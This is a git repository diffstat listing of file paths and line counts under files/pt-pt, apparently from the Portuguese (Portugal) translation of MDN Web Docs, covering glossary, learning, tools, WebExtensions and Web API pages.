aboutsummaryrefslogtreecommitdiff
path: root/files/pt-pt
diff options
context:
space:
mode:
Diffstat (limited to 'files/pt-pt')
-rw-r--r--files/pt-pt/_redirects.txt1035
-rw-r--r--files/pt-pt/_wikihistory.json5178
-rw-r--r--files/pt-pt/conflicting/glossary/api/index.html36
-rw-r--r--files/pt-pt/conflicting/learn/css/first_steps/how_css_works/index.html136
-rw-r--r--files/pt-pt/conflicting/learn/css/first_steps/how_css_works_0767812f50daab83155d62da97c6e460/index.html113
-rw-r--r--files/pt-pt/conflicting/mdn/contribute/index.html95
-rw-r--r--files/pt-pt/conflicting/web/api/index.html215
-rw-r--r--files/pt-pt/conflicting/web/api/web_storage_api/index.html157
-rw-r--r--files/pt-pt/conflicting/web/api/xmlhttprequest/index.html24
-rw-r--r--files/pt-pt/conflicting/web/javascript/reference/global_objects/number/index.html132
-rw-r--r--files/pt-pt/conflicting/web/javascript/reference/global_objects/object/index.html200
-rw-r--r--files/pt-pt/conflicting/web/progressive_web_apps/index.html63
-rw-r--r--files/pt-pt/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html158
-rw-r--r--files/pt-pt/conflicting/web/progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a/index.html36
-rw-r--r--files/pt-pt/games/index.html91
-rw-r--r--files/pt-pt/games/tutorials/2d_breakout_game_phaser/index.html63
-rw-r--r--files/pt-pt/games/tutorials/index.html26
-rw-r--r--files/pt-pt/glossary/404/index.html19
-rw-r--r--files/pt-pt/glossary/502/index.html24
-rw-r--r--files/pt-pt/glossary/accessibility/index.html33
-rw-r--r--files/pt-pt/glossary/ajax/index.html35
-rw-r--r--files/pt-pt/glossary/api/index.html11
-rw-r--r--files/pt-pt/glossary/argument/index.html26
-rw-r--r--files/pt-pt/glossary/aria/index.html18
-rw-r--r--files/pt-pt/glossary/bigint/index.html13
-rw-r--r--files/pt-pt/glossary/block_cipher_mode_of_operation/index.html14
-rw-r--r--files/pt-pt/glossary/boolean/index.html52
-rw-r--r--files/pt-pt/glossary/browser/index.html111
-rw-r--r--files/pt-pt/glossary/cache/index.html18
-rw-r--r--files/pt-pt/glossary/cia/index.html18
-rw-r--r--files/pt-pt/glossary/compile/index.html103
-rw-r--r--files/pt-pt/glossary/crlf/index.html30
-rw-r--r--files/pt-pt/glossary/cross_axis/index.html73
-rw-r--r--files/pt-pt/glossary/crud/index.html18
-rw-r--r--files/pt-pt/glossary/dhtml/index.html10
-rw-r--r--files/pt-pt/glossary/dom/index.html30
-rw-r--r--files/pt-pt/glossary/ecma/index.html19
-rw-r--r--files/pt-pt/glossary/element/index.html21
-rw-r--r--files/pt-pt/glossary/engine/index.html19
-rw-r--r--files/pt-pt/glossary/entity_header/index.html27
-rw-r--r--files/pt-pt/glossary/favicon/index.html30
-rw-r--r--files/pt-pt/glossary/flexbox/index.html79
-rw-r--r--files/pt-pt/glossary/git/index.html19
-rw-r--r--files/pt-pt/glossary/gzip_compression/index.html18
-rw-r--r--files/pt-pt/glossary/html/index.html52
-rw-r--r--files/pt-pt/glossary/hypertext/index.html121
-rw-r--r--files/pt-pt/glossary/iana/index.html19
-rw-r--r--files/pt-pt/glossary/idempotent/index.html47
-rw-r--r--files/pt-pt/glossary/index.html41
-rw-r--r--files/pt-pt/glossary/indexeddb/index.html19
-rw-r--r--files/pt-pt/glossary/isp/index.html22
-rw-r--r--files/pt-pt/glossary/lazy_load/index.html18
-rw-r--r--files/pt-pt/glossary/localization/index.html48
-rw-r--r--files/pt-pt/glossary/main_axis/index.html51
-rw-r--r--files/pt-pt/glossary/metadata/index.html26
-rw-r--r--files/pt-pt/glossary/mitm/index.html114
-rw-r--r--files/pt-pt/glossary/node.js/index.html111
-rw-r--r--files/pt-pt/glossary/object/index.html23
-rw-r--r--files/pt-pt/glossary/object_reference/index.html21
-rw-r--r--files/pt-pt/glossary/oop/index.html22
-rw-r--r--files/pt-pt/glossary/ota/index.html22
-rw-r--r--files/pt-pt/glossary/polyfill/index.html17
-rw-r--r--files/pt-pt/glossary/prototype-based_programming/index.html18
-rw-r--r--files/pt-pt/glossary/scm/index.html22
-rw-r--r--files/pt-pt/glossary/server/index.html26
-rw-r--r--files/pt-pt/glossary/signature/index.html97
-rw-r--r--files/pt-pt/glossary/tag/index.html26
-rw-r--r--files/pt-pt/glossary/utf-8/index.html24
-rw-r--r--files/pt-pt/glossary/value/index.html21
-rw-r--r--files/pt-pt/glossary/viewport/index.html27
-rw-r--r--files/pt-pt/glossary/visual_viewport/index.html23
-rw-r--r--files/pt-pt/glossary/webextensions/index.html20
-rw-r--r--files/pt-pt/glossary/webrtc/index.html33
-rw-r--r--files/pt-pt/glossary/webvtt/index.html31
-rw-r--r--files/pt-pt/glossary/whatwg/index.html25
-rw-r--r--files/pt-pt/glossary/world_wide_web/index.html43
-rw-r--r--files/pt-pt/glossary/wrapper/index.html33
-rw-r--r--files/pt-pt/glossary/xhtml/index.html170
-rw-r--r--files/pt-pt/glossary/xml/index.html19
-rw-r--r--files/pt-pt/learn/accessibility/index.html87
-rw-r--r--files/pt-pt/learn/common_questions/how_does_the_internet_work/index.html101
-rw-r--r--files/pt-pt/learn/common_questions/index.html132
-rw-r--r--files/pt-pt/learn/common_questions/pages_sites_servers_and_search_engines/index.html123
-rw-r--r--files/pt-pt/learn/common_questions/set_up_a_local_testing_server/index.html183
-rw-r--r--files/pt-pt/learn/common_questions/what_is_a_domain_name/index.html235
-rw-r--r--files/pt-pt/learn/common_questions/what_is_a_url/index.html232
-rw-r--r--files/pt-pt/learn/common_questions/what_is_a_web_server/index.html199
-rw-r--r--files/pt-pt/learn/css/building_blocks/cascade_and_inheritance/index.html136
-rw-r--r--files/pt-pt/learn/css/building_blocks/index.html360
-rw-r--r--files/pt-pt/learn/css/building_blocks/selectors/index.html209
-rw-r--r--files/pt-pt/learn/css/building_blocks/styling_tables/index.html656
-rw-r--r--files/pt-pt/learn/css/building_blocks/values_and_units/index.html342
-rw-r--r--files/pt-pt/learn/css/css_layout/index.html454
-rw-r--r--files/pt-pt/learn/css/first_steps/how_css_is_structured/index.html189
-rw-r--r--files/pt-pt/learn/css/first_steps/how_css_works/index.html131
-rw-r--r--files/pt-pt/learn/css/first_steps/index.html93
-rw-r--r--files/pt-pt/learn/css/howto/css_faq/index.html230
-rw-r--r--files/pt-pt/learn/css/howto/generated_content/index.html189
-rw-r--r--files/pt-pt/learn/css/howto/index.html93
-rw-r--r--files/pt-pt/learn/css/index.html59
-rw-r--r--files/pt-pt/learn/css/styling_text/fundamentals/index.html159
-rw-r--r--files/pt-pt/learn/css/styling_text/index.html137
-rw-r--r--files/pt-pt/learn/css/styling_text/styling_lists/index.html363
-rw-r--r--files/pt-pt/learn/front-end_web_developer/index.html189
-rw-r--r--files/pt-pt/learn/getting_started_with_the_web/css_basics/index.html294
-rw-r--r--files/pt-pt/learn/getting_started_with_the_web/dealing_with_files/index.html120
-rw-r--r--files/pt-pt/learn/getting_started_with_the_web/how_the_web_works/index.html113
-rw-r--r--files/pt-pt/learn/getting_started_with_the_web/html_basics/index.html238
-rw-r--r--files/pt-pt/learn/getting_started_with_the_web/index.html66
-rw-r--r--files/pt-pt/learn/getting_started_with_the_web/installing_basic_software/index.html166
-rw-r--r--files/pt-pt/learn/getting_started_with_the_web/javascript_basics/index.html414
-rw-r--r--files/pt-pt/learn/getting_started_with_the_web/publishing_your_website/index.html126
-rw-r--r--files/pt-pt/learn/getting_started_with_the_web/the_web_and_web_standards/index.html175
-rw-r--r--files/pt-pt/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html113
-rw-r--r--files/pt-pt/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html204
-rw-r--r--files/pt-pt/learn/html/howto/index.html154
-rw-r--r--files/pt-pt/learn/html/index.html60
-rw-r--r--files/pt-pt/learn/html/introduction_to_html/advanced_text_formatting/index.html692
-rw-r--r--files/pt-pt/learn/html/introduction_to_html/creating_hyperlinks/index.html332
-rw-r--r--files/pt-pt/learn/html/introduction_to_html/debugging_html/index.html187
-rw-r--r--files/pt-pt/learn/html/introduction_to_html/document_and_website_structure/index.html293
-rw-r--r--files/pt-pt/learn/html/introduction_to_html/getting_started/index.html613
-rw-r--r--files/pt-pt/learn/html/introduction_to_html/index.html65
-rw-r--r--files/pt-pt/learn/html/introduction_to_html/marking_up_a_letter/index.html105
-rw-r--r--files/pt-pt/learn/html/introduction_to_html/structuring_a_page_of_content/index.html108
-rw-r--r--files/pt-pt/learn/html/introduction_to_html/the_head_metadata_in_html/index.html347
-rw-r--r--files/pt-pt/learn/html/multimedia_and_embedding/index.html70
-rw-r--r--files/pt-pt/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html195
-rw-r--r--files/pt-pt/learn/html/multimedia_and_embedding/video_and_audio_content/index.html370
-rw-r--r--files/pt-pt/learn/html/tables/advanced/index.html539
-rw-r--r--files/pt-pt/learn/html/tables/basics/index.html651
-rw-r--r--files/pt-pt/learn/html/tables/index.html121
-rw-r--r--files/pt-pt/learn/html/tables/structuring_planet_data/index.html152
-rw-r--r--files/pt-pt/learn/index.html137
-rw-r--r--files/pt-pt/learn/index/index.html89
-rw-r--r--files/pt-pt/learn/javascript/client-side_web_apis/manipulating_documents/index.html161
-rw-r--r--files/pt-pt/learn/javascript/first_steps/index.html144
-rw-r--r--files/pt-pt/learn/javascript/index.html63
-rw-r--r--files/pt-pt/learn/server-side/django/index.html69
-rw-r--r--files/pt-pt/learn/server-side/express_nodejs/development_environment/index.html407
-rw-r--r--files/pt-pt/learn/server-side/express_nodejs/index.html77
-rw-r--r--files/pt-pt/learn/server-side/express_nodejs/introduction/index.html540
-rw-r--r--files/pt-pt/learn/server-side/index.html58
-rw-r--r--files/pt-pt/learn/server-side/node_server_without_framework/index.html95
-rw-r--r--files/pt-pt/learn/tools_and_testing/cross_browser_testing/accessibility/index.html608
-rw-r--r--files/pt-pt/learn/tools_and_testing/cross_browser_testing/index.html48
-rw-r--r--files/pt-pt/learn/tools_and_testing/index.html46
-rw-r--r--files/pt-pt/mdn/about/index.html128
-rw-r--r--files/pt-pt/mdn/at_ten/history_of_mdn/index.html226
-rw-r--r--files/pt-pt/mdn/at_ten/index.html40
-rw-r--r--files/pt-pt/mdn/contribute/feedback/index.html59
-rw-r--r--files/pt-pt/mdn/contribute/getting_started/index.html116
-rw-r--r--files/pt-pt/mdn/contribute/howto/convert_code_samples_to_be_live/index.html37
-rw-r--r--files/pt-pt/mdn/contribute/howto/create_and_edit_pages/index.html182
-rw-r--r--files/pt-pt/mdn/contribute/howto/index.html13
-rw-r--r--files/pt-pt/mdn/contribute/howto/report_a_problem/index.html25
-rw-r--r--files/pt-pt/mdn/contribute/howto/tag/index.html376
-rw-r--r--files/pt-pt/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html115
-rw-r--r--files/pt-pt/mdn/contribute/howto/write_an_api_reference/sidebars/index.html110
-rw-r--r--files/pt-pt/mdn/contribute/index.html24
-rw-r--r--files/pt-pt/mdn/guidelines/conventions_definitions/index.html202
-rw-r--r--files/pt-pt/mdn/guidelines/does_this_belong_on_mdn/index.html201
-rw-r--r--files/pt-pt/mdn/guidelines/index.html10
-rw-r--r--files/pt-pt/mdn/guidelines/writing_style_guide/index.html668
-rw-r--r--files/pt-pt/mdn/index.html30
-rw-r--r--files/pt-pt/mdn/structures/index.html16
-rw-r--r--files/pt-pt/mdn/structures/live_samples/index.html249
-rw-r--r--files/pt-pt/mdn/structures/macros/index.html46
-rw-r--r--files/pt-pt/mdn/tools/index.html17
-rw-r--r--files/pt-pt/mdn/tools/kumascript/index.html496
-rw-r--r--files/pt-pt/mdn/yari/index.html25
-rw-r--r--files/pt-pt/mozilla/add-ons/index.html111
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html136
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/api/browseraction/index.html127
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/api/browsingdata/index.html130
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/api/browsingdata/removeplugindata/index.html124
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/api/devtools/panels/index.html104
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/api/i18n/index.html93
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/api/index.html13
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/api/pageaction/index.html108
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/api/sidebaraction/index.html182
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/api/storage/index.html106
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html20
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/content_scripts/index.html447
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/examples/index.html29
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html157
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/index.html135
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/intercept_http_requests/index.html161
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/internationalization/index.html417
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/manifest.json/browser_action/index.html236
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/manifest.json/browser_specific_settings/index.html107
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/manifest.json/devtools_page/index.html42
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/manifest.json/icons/index.html79
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/manifest.json/index.html132
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/match_patterns/index.html431
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/tips/index.html50
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_action/index.html51
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_styles/index.html454
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.html52
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.html63
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/user_interface/extension_pages/index.html65
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/user_interface/index.html94
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/user_interface/notifications/index.html51
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/user_interface/omnibox/index.html71
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/user_interface/options_pages/index.html65
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/user_interface/page_actions/index.html51
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/user_interface/popups/index.html61
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/user_interface/sidebars/index.html58
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/what_are_webextensions/index.html60
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/what_next_/index.html61
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/your_first_webextension/index.html154
-rw-r--r--files/pt-pt/mozilla/add-ons/webextensions/your_second_webextension/index.html461
-rw-r--r--files/pt-pt/mozilla/firefox/index.html73
-rw-r--r--files/pt-pt/mozilla/firefox/releases/1.5/index.html26
-rw-r--r--files/pt-pt/mozilla/firefox/releases/2/index.html94
-rw-r--r--files/pt-pt/mozilla/firefox/releases/3.5/index.html261
-rw-r--r--files/pt-pt/mozilla/firefox/releases/3.5/updating_extensions/index.html112
-rw-r--r--files/pt-pt/mozilla/firefox/releases/3.6/index.html310
-rw-r--r--files/pt-pt/mozilla/firefox/releases/3/index.html298
-rw-r--r--files/pt-pt/mozilla/firefox/releases/3/site_compatibility/index.html78
-rw-r--r--files/pt-pt/mozilla/firefox/releases/3/updating_extensions/index.html210
-rw-r--r--files/pt-pt/mozilla/firefox/releases/4/index.html657
-rw-r--r--files/pt-pt/mozilla/firefox/releases/5/index.html114
-rw-r--r--files/pt-pt/mozilla/firefox/releases/6/index.html250
-rw-r--r--files/pt-pt/mozilla/firefox/releases/70/index.html140
-rw-r--r--files/pt-pt/mozilla/firefox/releases/index.html25
-rw-r--r--files/pt-pt/mozilla/index.html16
-rw-r--r--files/pt-pt/orphaned/acentuação_para_conteúdos_carregados_por_ajax/index.html61
-rw-r--r--files/pt-pt/orphaned/componentes/index.html21
-rw-r--r--files/pt-pt/orphaned/configurando_um_servidor_de_atualização/index.html6
-rw-r--r--files/pt-pt/orphaned/construir_uma_extensão/index.html228
-rw-r--r--files/pt-pt/orphaned/controles_xul/index.html146
-rw-r--r--files/pt-pt/orphaned/criando_um_visual_para_o_firefox/index.html35
-rw-r--r--files/pt-pt/orphaned/criar_uma_pele_para_o_firefox/index.html15
-rw-r--r--files/pt-pt/orphaned/desenhando_texto_usando_canvas/index.html58
-rw-r--r--files/pt-pt/orphaned/faq_extensões/index.html52
-rw-r--r--files/pt-pt/orphaned/firefox_3_para_desenvolvedores/index.html82
-rw-r--r--files/pt-pt/orphaned/java_em_extensões_do_firefox/index.html27
-rw-r--r--files/pt-pt/orphaned/javascript_orientado_a_objetos/index.html229
-rw-r--r--files/pt-pt/orphaned/learn/html/forms/html5_updates/index.html73
-rw-r--r--files/pt-pt/orphaned/localizar_descrições_de_extensões/index.html25
-rw-r--r--files/pt-pt/orphaned/manipuladores_de_protocolo_web/index.html98
-rw-r--r--files/pt-pt/orphaned/mdn/community/conversations/index.html59
-rw-r--r--files/pt-pt/orphaned/mdn/community/doc_sprints/index.html126
-rw-r--r--files/pt-pt/orphaned/mdn/community/index.html57
-rw-r--r--files/pt-pt/orphaned/mdn/community/whats_happening/index.html43
-rw-r--r--files/pt-pt/orphaned/mdn/community/working_in_community/index.html103
-rw-r--r--files/pt-pt/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html53
-rw-r--r--files/pt-pt/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html42
-rw-r--r--files/pt-pt/orphaned/mdn/contribute/howto/do_a_technical_review/index.html66
-rw-r--r--files/pt-pt/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html57
-rw-r--r--files/pt-pt/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html48
-rw-r--r--files/pt-pt/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html76
-rw-r--r--files/pt-pt/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html115
-rw-r--r--files/pt-pt/orphaned/mdn/editor/basics/index.html73
-rw-r--r--files/pt-pt/orphaned/mdn/editor/index.html21
-rw-r--r--files/pt-pt/orphaned/mdn/structures/api_references/index.html59
-rw-r--r--files/pt-pt/orphaned/mdn/structures/api_references/what_does_an_api_reference_need/index.html163
-rw-r--r--files/pt-pt/orphaned/mdn/tools/page_watching/index.html50
-rw-r--r--files/pt-pt/orphaned/mdn/tools/template_editing/index.html13
-rw-r--r--files/pt-pt/orphaned/mdn/troubleshooting/index.html72
-rw-r--r--files/pt-pt/orphaned/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html22
-rw-r--r--files/pt-pt/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html305
-rw-r--r--files/pt-pt/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html63
-rw-r--r--files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html23
-rw-r--r--files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html82
-rw-r--r--files/pt-pt/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html51
-rw-r--r--files/pt-pt/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html160
-rw-r--r--files/pt-pt/orphaned/mozilla/add-ons/webextensions/webextensions_and_the_add-on_id/index.html79
-rw-r--r--files/pt-pt/orphaned/o_dom_e_o_javascript/index.html83
-rw-r--r--files/pt-pt/orphaned/plugins/flash_activation_colon__browser_comparison/index.html147
-rw-r--r--files/pt-pt/orphaned/referência_do_dom_gecko/prefácio/index.html52
-rw-r--r--files/pt-pt/orphaned/referência_jsdbgapi/index.html23
-rw-r--r--files/pt-pt/orphaned/sobre_o_document_object_model/index.html27
-rw-r--r--files/pt-pt/orphaned/tinderbox/index.html32
-rw-r--r--files/pt-pt/orphaned/toolkit_api/index.html13
-rw-r--r--files/pt-pt/orphaned/tools/add-ons/dom_inspector/index.html68
-rw-r--r--files/pt-pt/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html93
-rw-r--r--files/pt-pt/orphaned/tools/add-ons/index.html16
-rw-r--r--files/pt-pt/orphaned/transformar_xml_com_xslt/index.html146
-rw-r--r--files/pt-pt/orphaned/transformar_xml_com_xslt/para_leitura_adicional/index.html207
-rw-r--r--files/pt-pt/orphaned/tutorial_do_canvas/formas_de_desenho/index.html9
-rw-r--r--files/pt-pt/orphaned/tutorial_do_canvas/index.html25
-rw-r--r--files/pt-pt/orphaned/tutorial_do_canvas/utilização_básica/index.html24
-rw-r--r--files/pt-pt/orphaned/tutorial_xul/adicionando_botões/index.html78
-rw-r--r--files/pt-pt/orphaned/tutorial_xul/criando_uma_janela/index.html90
-rw-r--r--files/pt-pt/orphaned/tutorial_xul/index.html53
-rw-r--r--files/pt-pt/orphaned/tutorial_xul/introdução/index.html62
-rw-r--r--files/pt-pt/orphaned/um_pequeno_exemplo_usando_ajax/index.html35
-rw-r--r--files/pt-pt/orphaned/usando_privilégios_expandidos_em_navegadores_mozilla/index.html100
-rw-r--r--files/pt-pt/orphaned/usando_áudio_e_vídeo_no_firefox/index.html75
-rw-r--r--files/pt-pt/orphaned/utilizando_meta_tags/index.html378
-rw-r--r--files/pt-pt/orphaned/venkman/index.html58
-rw-r--r--files/pt-pt/orphaned/web/css/como_começar/o_que_é_css_question_/index.html95
-rw-r--r--files/pt-pt/orphaned/web/guide/events/index.html134
-rw-r--r--files/pt-pt/orphaned/web/javascript/guia/expressoes_e_operadores/index.html833
-rw-r--r--files/pt-pt/orphaned/web/javascript/guia/introdução_ao_javascript/index.html48
-rw-r--r--files/pt-pt/orphaned/web/javascript/guia/sobre/index.html167
-rw-r--r--files/pt-pt/orphaned/web/javascript/guia/valores,_variáveis_e_literais/index.html548
-rw-r--r--files/pt-pt/orphaned/web/javascript/o_que_é_o_javascript/index.html14
-rw-r--r--files/pt-pt/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html56
-rw-r--r--files/pt-pt/orphaned/web/mathml/element/mglyph/index.html73
-rw-r--r--files/pt-pt/orphaned/web/mathml/element/mlabeledtr/index.html100
-rw-r--r--files/pt-pt/orphaned/web/xslt/comunidade/index.html9
-rw-r--r--files/pt-pt/orphaned/web/xslt/elementos/index.html60
-rw-r--r--files/pt-pt/orphaned/xforms/controles_customizados/index.html273
-rw-r--r--files/pt-pt/orphaned/xforms/index.html69
-rw-r--r--files/pt-pt/orphaned/xforms_especiais_para_mozilla/index.html93
-rw-r--r--files/pt-pt/orphaned/xml_no_mozilla/index.html237
-rw-r--r--files/pt-pt/orphaned/xpath/eixos/index.html45
-rw-r--r--files/pt-pt/orphaned/xpath/funções/index.html48
-rw-r--r--files/pt-pt/plugins/flash_to_html5/index.html83
-rw-r--r--files/pt-pt/tools/about_colon_debugging/index.html250
-rw-r--r--files/pt-pt/tools/debugger/how_to/index.html11
-rw-r--r--files/pt-pt/tools/debugger/how_to/open_the_debugger/index.html19
-rw-r--r--files/pt-pt/tools/debugger/how_to/use_a_source_map/index.html32
-rw-r--r--files/pt-pt/tools/debugger/index.html62
-rw-r--r--files/pt-pt/tools/debugger/source_map_errors/index.html70
-rw-r--r--files/pt-pt/tools/debugger/ui_tour/index.html95
-rw-r--r--files/pt-pt/tools/index.html228
-rw-r--r--files/pt-pt/tools/keyboard_shortcuts/index.html1157
-rw-r--r--files/pt-pt/tools/memory/index.html66
-rw-r--r--files/pt-pt/tools/network_monitor/index.html693
-rw-r--r--files/pt-pt/tools/page_inspector/how_to/edit_fonts/index.html29
-rw-r--r--files/pt-pt/tools/page_inspector/how_to/examine_and_edit_css/index.html224
-rw-r--r--files/pt-pt/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html42
-rw-r--r--files/pt-pt/tools/page_inspector/how_to/index.html13
-rw-r--r--files/pt-pt/tools/page_inspector/how_to/inspect_and_select_colors/index.html27
-rw-r--r--files/pt-pt/tools/page_inspector/how_to/open_the_inspector/index.html22
-rw-r--r--files/pt-pt/tools/page_inspector/how_to/reposition_elements_in_the_page/index.html23
-rw-r--r--files/pt-pt/tools/page_inspector/how_to/use_the_inspector_api/index.html44
-rw-r--r--files/pt-pt/tools/page_inspector/how_to/visualize_transforms/index.html12
-rw-r--r--files/pt-pt/tools/page_inspector/how_to/work_with_animations/index.html109
-rw-r--r--files/pt-pt/tools/page_inspector/index.html58
-rw-r--r--files/pt-pt/tools/page_inspector/keyboard_shortcuts/index.html94
-rw-r--r--files/pt-pt/tools/page_inspector/ui_tour/index.html102
-rw-r--r--files/pt-pt/tools/performance/call_tree/index.html194
-rw-r--r--files/pt-pt/tools/performance/frame_rate/index.html61
-rw-r--r--files/pt-pt/tools/performance/how_to/index.html65
-rw-r--r--files/pt-pt/tools/performance/index.html186
-rw-r--r--files/pt-pt/tools/performance/ui_tour/index.html128
-rw-r--r--files/pt-pt/tools/performance/waterfall/index.html564
-rw-r--r--files/pt-pt/tools/remote_debugging/debugging_firefox_desktop/index.html42
-rw-r--r--files/pt-pt/tools/remote_debugging/index.html21
-rw-r--r--files/pt-pt/tools/remote_debugging/thunderbird/index.html45
-rw-r--r--files/pt-pt/tools/responsive_design_mode/index.html215
-rw-r--r--files/pt-pt/tools/settings/index.html245
-rw-r--r--files/pt-pt/tools/storage_inspector/index.html193
-rw-r--r--files/pt-pt/tools/style_editor/index.html112
-rw-r--r--files/pt-pt/tools/taking_screenshots/index.html43
-rw-r--r--files/pt-pt/tools/tools_toolbox/index.html181
-rw-r--r--files/pt-pt/tools/web_audio_editor/index.html69
-rw-r--r--files/pt-pt/tools/web_console/console_messages/index.html475
-rw-r--r--files/pt-pt/tools/web_console/helpers/index.html143
-rw-r--r--files/pt-pt/tools/web_console/index.html49
-rw-r--r--files/pt-pt/tools/web_console/keyboard_shortcuts/index.html15
-rw-r--r--files/pt-pt/tools/web_console/rich_output/index.html78
-rw-r--r--files/pt-pt/tools/web_console/split_console/index.html21
-rw-r--r--files/pt-pt/tools/web_console/the_command_line_interpreter/index.html188
-rw-r--r--files/pt-pt/tools/web_console/ui_tour/index.html28
-rw-r--r--files/pt-pt/web/accessibility/aria/aria_techniques/index.html215
-rw-r--r--files/pt-pt/web/accessibility/aria/aria_techniques/using_the_status_role/index.html83
-rw-r--r--files/pt-pt/web/accessibility/aria/index.html123
-rw-r--r--files/pt-pt/web/accessibility/index.html72
-rw-r--r--files/pt-pt/web/api/ambient_light_events/index.html71
-rw-r--r--files/pt-pt/web/api/animation/index.html142
-rw-r--r--files/pt-pt/web/api/audionode/index.html207
-rw-r--r--files/pt-pt/web/api/battery_status_api/index.html170
-rw-r--r--files/pt-pt/web/api/blob/blob/index.html77
-rw-r--r--files/pt-pt/web/api/blob/index.html157
-rw-r--r--files/pt-pt/web/api/blob/size/index.html73
-rw-r--r--files/pt-pt/web/api/blob/type/index.html83
-rw-r--r--files/pt-pt/web/api/canvas_api/index.html248
-rw-r--r--files/pt-pt/web/api/canvas_api/tutorial/index.html61
-rw-r--r--files/pt-pt/web/api/client/index.html67
-rw-r--r--files/pt-pt/web/api/closeevent/closeevent/index.html71
-rw-r--r--files/pt-pt/web/api/closeevent/index.html195
-rw-r--r--files/pt-pt/web/api/document/alinkcolor/index.html44
-rw-r--r--files/pt-pt/web/api/document/bgcolor/index.html56
-rw-r--r--files/pt-pt/web/api/document/cookie/index.html86
-rw-r--r--files/pt-pt/web/api/document/dir/index.html72
-rw-r--r--files/pt-pt/web/api/document/getelementsbyclassname/index.html70
-rw-r--r--files/pt-pt/web/api/document/index.html458
-rw-r--r--files/pt-pt/web/api/document/queryselector/index.html134
-rw-r--r--files/pt-pt/web/api/document/visibilitychange_event/index.html148
-rw-r--r--files/pt-pt/web/api/document_object_model/index.html502
-rw-r--r--files/pt-pt/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html80
-rw-r--r--files/pt-pt/web/api/domstring/index.html43
-rw-r--r--files/pt-pt/web/api/element/clientleft/index.html48
-rw-r--r--files/pt-pt/web/api/element/clienttop/index.html39
-rw-r--r--files/pt-pt/web/api/element/index.html574
-rw-r--r--files/pt-pt/web/api/file/file/index.html71
-rw-r--r--files/pt-pt/web/api/file/filename/index.html37
-rw-r--r--files/pt-pt/web/api/file/filesize/index.html37
-rw-r--r--files/pt-pt/web/api/file/getasbinary/index.html77
-rw-r--r--files/pt-pt/web/api/file/getasdataurl/index.html67
-rw-r--r--files/pt-pt/web/api/file/getastext/index.html83
-rw-r--r--files/pt-pt/web/api/file/index.html101
-rw-r--r--files/pt-pt/web/api/file/lastmodified/index.html113
-rw-r--r--files/pt-pt/web/api/file/lastmodifieddate/index.html80
-rw-r--r--files/pt-pt/web/api/file/mozfullpath/index.html17
-rw-r--r--files/pt-pt/web/api/file/name/index.html74
-rw-r--r--files/pt-pt/web/api/file/type/index.html75
-rw-r--r--files/pt-pt/web/api/file/webkitrelativepath/index.html80
-rw-r--r--files/pt-pt/web/api/file_and_directory_entries_api/index.html192
-rw-r--r--files/pt-pt/web/api/filereader/abort/index.html58
-rw-r--r--files/pt-pt/web/api/filereader/error/index.html54
